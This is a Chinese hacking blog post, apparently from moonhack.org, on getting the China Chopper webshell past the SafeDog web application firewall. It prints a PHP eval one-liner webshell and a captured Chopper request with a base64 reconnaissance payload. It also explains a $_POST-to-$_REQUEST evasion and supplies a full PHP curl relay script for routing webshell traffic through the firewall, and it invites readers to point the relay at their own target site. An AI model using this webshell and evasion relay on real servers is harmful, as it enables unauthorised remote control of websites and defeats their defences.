暗月贱谈过安全狗戏法(一)
我很喜欢用安全狗、我的vps装的是安全狗、虚拟机也装的是安全狗、因为免费更新又快。
同时我也一样喜欢小狗狗,不仅可爱,又忠诚,又能逗我开心,是的,小时候还被狗狗咬过。
这段时间,有不少黑阔都发了关于绕过过安全狗的一些文章、我也来贱谈一下吧。
首先今天 说说测试的环境:
Server2003 安全狗iis版3.0 (也就是最新版的) Ip:192.168.145.128
今天来菜刀过安全狗一点思路
要用菜刀肯定,肯定要先过一句话吧.
传统的一句话
<?php
eval($_REQUEST['moon']);
?>
如图:
<?php eval( $_REQUEST['moon'] ); ?>
如图:
此时,我们可爱的狗狗就不会拦截了,其他语言的一句话也可以这样。
我们过狗的第一步已经完成。
接下来我要说第二步了 分析安全狗对菜刀的拦截
在分析之前我们来体验狗狗的拦截
如图:
Burpsuite是个好帮手,设置代理好 截包看看:
如图:
考虑的各位客官可能看图不清楚 我把菜刀发出的包记下来吧
POST /test.php HTTP/1.1 X-Forwarded-For: 218.239.200.1 Referer: http://192.168.145.128 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Host: 192.168.145.128 Content-Length: 689 Pragma: no-cache moon=%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D
先来url解密 再来base64解密吧
moon=@eval(base64_decode($_POST[z0]));&z0=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}/t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="/t";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die();
这里面拦截哪里 哪里出问题?
不要猜了 暗月告诉你吧。
ase64_decode($_POST[z0]) 这段 你只要将$_POST换成$_REQUEST就完事了。
moon=%40eval%01%28base64_decode%28%24_REQUEST%5Bz0%5D%29%29%3B&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D
修改后再提交包
你可以看到狗狗开始变乖。
问题思考 回到我们的目标上面,我们要用菜刀,肯定是不能每次都这样提交,很麻烦对不?
中转吧!就像以前说过的中转伪静态注入一样的原理。
<?php $url=$_GET['url']; $Z=$_POST['z0']; $urlPost='moon=%40eval%01%28base64_decode%28%24_REQUEST%5Bz0%5D%29%29%3B&z0='.urlencode($Z); $ch = curl_init();//初始化curl curl_setopt($ch,CURLOPT_URL,$url);//抓取指定网页 curl_setopt($ch, CURLOPT_HEADER, 0);//设置header curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//要求结果为字符串且输出到屏幕上 curl_setopt($ch, CURLOPT_POST, 1);//post提交方式 curl_setopt($ch, CURLOPT_POSTFIELDS, $urlPost); $data = curl_exec($ch);//运行curl curl_close($ch); print_r($data);//输出结果 ?>
http://localhost/url.php?url=http://192.168.145.128/test.php
192.168.145.128 这里可以换成你的网站
如图:
最后如图:
狗狗已经失效了,也达到我们的目的了。
这个脚本还有个问题的,不能中转处理菜刀发送所有过来的包,你可以看到上有一个
“操作完成,但是有错误发生的”,想更好中转就必须研究菜刀的包。
完整的脚本暂时还没想到。有的同学可能已经写出来了吧!!!
外加一个过狗提示吧:你不用菜刀,用菜刀的替代版基本过安全狗了,还有更好的方法留意下一篇吧!
转载注明:http://www.moonhack.org/post-146.html
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论